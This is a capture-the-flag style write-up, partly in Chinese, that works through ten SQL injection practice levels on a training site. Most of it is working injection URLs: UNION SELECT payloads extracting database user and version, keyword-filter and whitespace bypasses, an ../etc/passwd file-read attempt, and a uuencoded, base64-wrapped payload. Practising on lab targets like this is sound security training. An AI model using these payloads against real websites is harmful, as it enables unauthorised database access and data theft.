SQL Challenges

平台：

http://www.zixem.altervista.org/SQLi/

Level 1 (Super Easy)

http://www.zixem.altervista.org/SQLi/level1.php?id=1

http://www.zixem.altervista.org/SQLi/level1.php?id=1 and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/level1.php?id=1 and 1=2--+ #false

3 columns

http://www.zixem.altervista.org/SQLi/level1.php?id=1 order by 3--+

http://www.zixem.altervista.org/SQLi/level1.php?id=-1 +UNION+ALL+SELECT+1,2,3--+

MySQL information

http://www.zixem.altervista.org/SQLi/level1.php?id=-1 +UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),2,3--+

Level 2 (Easy)

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4' and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4' and 1=2--+ #false

Find ccolumns

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4' +ORDER+BY+4--+

Showprofile 发现无回显，我们将其改成showprofile=1

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=1' +UNION+ALL+SELECT+1,2,3,4--+

Find mysql information

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=1' +UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4--+

或者

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=1' +UNION+ALL+SELECT+version(),database(),user(),4--+

Level 3 (Medium)

http://www.zixem.altervista.org/SQLi/level3.php?item=3

http://www.zixem.altervista.org/SQLi/level3.php?item=3' and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/level3.php?item=3' and 1=2--+ #false

Find 4 columns

http://www.zixem.altervista.org/SQLi/level3.php?item=3' +ORDER+BY+4--+

http://www.zixem.altervista.org/SQLi/level3.php?item=3' +UNION+ALL+SELECT+1,2,3,4--+

http://www.zixem.altervista.org/SQLi/level3.php?item=3' +UNIONON+ALL+SELECT+1,2,3,4--+

发现无回显，我们尝试更改item的值试试

http://www.zixem.altervista.org/SQLi/level3.php?item=1' +UNIONON+ALL+SELECT+1,2,3,4--+

在字段2上进行查询MySQL information

http://www.zixem.altervista.org/SQLi/level3.php?item=1' +UNIONON+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4--+

Level 4 (Normal)

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7' and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7' and 1=2--+ #false

Find 5 columns

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7' +ORDER+BY+5--+

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7' +UNION+ALL+SELECT+1,2,3,4,5--+

执行发现无相关的字段回显，我们尝试更改下ebookid的值试试

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=1' +UNION+ALL+SELECT+1,2,3,4,5--+

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=1' +UNION+ALL+SELECT+version(),user(),database(),4,5--+

Level 5 (Get your "bot-writing" skills)

http://www.zixem.altervista.org/SQLi/login_lvl5.php

抓包请求如下：

GET /SQLi/login_do.php?pass=123456 HTTP/1.1

Host: www.zixem.altervista.org

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.zixem.altervista.org/SQLi/login_lvl5.php

Cookie: __cfduid=d1cf89af0193d0a51fc76036c94593eca1547429536

Connection: close

Upgrade-Insecure-Requests: 1

通过查看sourcecode如下

If you want a lead, enter this password.

~~~~~~~~~~~~~~~~~~ password: d1fd6ef9af6cb677e09b1b0a68301e0c ~~~~~~~~~~~~~~~~~~~~~~

owh...it's hashed! maybe you could get some help from my md5 cracker...

~~~~~~~~~~~~~~~~~~~~~~~~here: /SQLi/md5cracker.php~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.zixem.altervista.org/SQLi/md5cracker.php?hash=d1fd6ef9af6cb677e09b1b0a68301e0c

Level 6 (Experienced)

http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 and 1=1#true

http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 and 1=2 #false

Find 4 columns

http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 +ORDER+BY+4

这里判断为整形的盲注，直接用穿山甲（pangolin）跑

Level 7 (Medium)

http://www.zixem.altervista.org/SQLi/level7.php?id=1

http://www.zixem.altervista.org/SQLi/level7.php?id=1 and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/level7.php?id=1 and 1=2--+ #false

Find 3 columns

http://www.zixem.altervista.org/SQLi/level7.php?id=1 +ORDER+BY+3--+

http://www.zixem.altervista.org/SQLi/level7.php?id=1 +UNION+ALL+SELECT+1,2,3--+

无任何回显，更改id也无回显查看源码

最后尝试payload为如下：

http://www.zixem.altervista.org/SQLi/level7.php?id=2 +UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3--+

Level 8 (Hard)

尝试注入点：

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1\

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\' at line 1 ID:

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 ID:

Age:

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1' and 1=1--+

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1'/**/and/**/1=1--+

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1 and 1=1

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1' and '1'='1--+

想下特殊符号的过滤

A plus sign (+)

A simple URL encoded space (%20)

A null byte (%00)

A newline (%0a)

A tab (%09)

A carriage return (%0d)

空格%20

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%20and%201=1 #false

空字节%00

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%00and%001=1--+ #false

换行\n %0a

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%0aand%0a1=1--+ #false

Tab %09

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09and%091=1-- #true

回车%0d

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%0dsand%0d1=1--+ #flase

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09and%091=1-- #true

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09and%091=2-- #false

Find 3 columns

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09ORDER%09BY%093--

枚举具体列报错：

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09SELECT%091,2,3--

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3--' at line 1 ID:

Age:

看起来好像是屏蔽了select字段，我们尝试绕过

#大小写混

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09/*!SeLECt*/%091,2,3-- #false

#Url encode

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09/*!%53eLEct*/%091,2,3-- #false

#使用特助字符

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09sel*ect%091,2,3-- #flase

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09se/**/lect%091,2,3-- #false

#关键字替换

SEselectLECT

SELSELECTECT

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09SEselectLECT%091,2,3-- #true

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09SELSELECTECT%091,2,3-- #true

wow

最终的payload如下：

http://www.zixem.altervista.org/SQLi/lvl8.php?id=2%09UNION%09ALL%09SELSELECTECT%091,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3--

Level 9 (Medium)

http://www.zixem.altervista.org/SQLi/lvl9.php?id=1

http://www.zixem.altervista.org/SQLi/lvl9.php?id=1' and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/lvl9.php?id=1' and 1=12--+ #false

Find 2 columns

http://www.zixem.altervista.org/SQLi/lvl9.php?id=1' +ORDER+BY+2--+

http://www.zixem.altervista.org/SQLi/lvl9.php?id=1'+UNION+ALL+SELECT+1,2--+

http://www.zixem.altervista.org/SQLi/lvl9.php?id=1 and 1=2' union select "../etc/passwd","2"--'

Level 10 (Pro)

http://www.zixem.altervista.org/SQLi/lvl10.php?x=ISwwYGAKYAo=

ISwwYGAKYAo= ---- it looks like base64encode

https://www.base64decode.org/---->

!,0``

这种编码方式要用Uuencode decoder 进行解码

https://www.textencode.com/uudecode

构造注入语句

1 AND 1=2 UNION SELECT 1,2--

https://www.textencode.com/uuencode

<,2!!3D0@,3TR(%5.24].(%-%3$5#5"`Q+#(M+0``

Base64encode

PCwyISEzRDBALDNUUiglNS4yNF0uKCUtJTMkNSM1ImBRKyMoTSswYGAKYAo=

paylaod:

http://www.zixem.altervista.org/SQLi/lvl10.php?x=PCwyISEzRDBALDNUUiglNS4yNF0uKCUtJTMkNSM1ImBRKyMoTSswYGAKYAo=

构造注入语句

1 AND 1=2 UNION SELECT 1,CONCAT(user()," ",version())--

Encode

M,2!!3D0@,3TR(%5.24].(%-%3$5#5"`Q+$-/3D-!5"AU<V5R*"DL(B`B+'9E

*<G-I;VXH*2DM+0``